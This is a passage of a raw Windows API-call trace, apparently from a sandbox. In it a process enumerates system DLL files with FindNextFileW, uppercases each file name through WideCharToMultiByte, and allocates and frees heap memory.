0x90c288 [0041.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x90c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.705] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.705] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.706] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.706] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x90c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.706] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.706] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.706] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.706] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.707] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.707] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.707] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.707] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0041.707] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.708] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.708] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.708] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.708] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0041.708] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.709] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x90c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.709] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", 